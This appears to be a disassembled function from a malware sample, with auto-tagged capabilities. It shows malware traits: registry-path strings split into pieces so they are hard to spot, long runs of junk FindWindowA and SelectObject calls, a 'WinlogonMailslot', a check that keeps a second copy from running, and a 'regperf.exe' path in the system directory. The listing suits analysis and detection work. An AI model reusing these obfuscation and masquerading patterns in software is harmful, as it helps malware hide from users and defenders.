Function at 0x10007bdd
Capabilities:
Create mailslot
Get common file path

Disassembly:
sub esp, 0x438
push ebx
push str.ntEx
push 0x10011578
push 0x10011574
push 0x10011570
push 0x1001156c
push 0x100111c8
lea eax, [esp + 0x148]
push str._s_s_sur_s_sve_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x150]
push eax
call fcn.1000c536
xor ebx, ebx
add esp, 0x24
cmp eax, ebx
mov dword [esp + 4], eax
je 0x1000825a
push ebp
push esi
mov esi, dword [sym.imp.USER32.dll_FindWindowA]
push edi
mov edi, str.Hello_World
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
mov ebp, dword [sym.imp.GDI32.dll_SelectObject]
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x10007cc3
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10008257
call fcn.100097fa
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push str.ld.tmp
call fcn.1000ceea
mov dword [esp], 0x104
lea eax, [esp + 0x348]
push eax
push dword [0x100123b0]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x100123b4
lea eax, [esp + 0x348]
push eax
call fcn.1000de13
test al, al
pop ecx
pop ecx
je 0x10008257
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push 0x1001154c
push 0x10011548
push str.orer_
push str.expl
push str.cies_
push str.ionpoli
push str.entVers
push str.dows
push str.REMicros
push str.SOFTWA
push str._s_softWin_sCurr_s_s_s_s_s_s_s
push 0x100123e0
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x30
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x18]
push eax
mov dword [0x1001235c], 0x100123e0
mov dword [0x10012368], 0x100114d0
call fcn.1000c31e
pop ecx
pop ecx
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
lea eax, [esp + 0x14]
push eax
push 0xffffffffffffffff
push ebx
push str..mailslotWinlogonMailslot
call dword [sym.imp.KERNEL32.dll_CreateMailslotA]
push 0xc
mov dword [0x100123d0], eax
call fcn.100096c0
cmp eax, ebx
pop ecx
je 0x10007f8c
push 1
push 0x10012358
mov ecx, eax
call fcn.1000d9ba
mov dword [0x100123d4], eax
jmp 0x10007f92
mov dword [0x100123d4], ebx
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push 0x18
call fcn.100096c0
cmp eax, ebx
pop ecx
je 0x1000800c
mov ecx, eax
call fcn.10009642
mov dword [0x100123d8], eax
jmp 0x10008012
mov dword [0x100123d8], ebx
push 0x104
lea eax, [esp + 0x3c]
push eax
mov dword [esp + 0x3c], 1
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
lea eax, [esp + 0x240]
push str.regperf.exe
push eax
call fcn.1000ffa0
lea eax, [esp + 0x40]
push eax
call fcn.100100a0
mov byte [esp + eax + 0x44], 0x5c
mov byte [esp + eax + 0x45], bl
lea eax, [esp + 0x24c]
push eax
lea eax, [esp + 0x48]
push eax
call fcn.1000ffb0
mov ecx, dword [0x100123d8]
add esp, 0x14
lea eax, [esp + 0x34]
push eax
call fcn.1000835c
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
call fcn.10009ab7
push eax
lea eax, [esp + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [0x100123d8]
lea eax, [esp + 0x34]
push eax
call fcn.1000835c
mov eax, dword [esp + 0x10]
push ebx
push 0x10008c21
mov dword [0x100123c8], eax
call fcn.1000c7ee
pop ecx
pop ecx
push edi
push ebx
mov dword [0x100123cc], eax
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push dword [esp + 0x10]
push 0x1000731a
call fcn.1000c7ee
pop ecx
pop ecx
mov dword [0x100123c4], eax
call fcn.10005af4
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push edi
push ebx
call esi
push ebx
push ebx
call ebp
push ebx
push 0x100076b8
call fcn.1000c7ee
pop ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x438
ret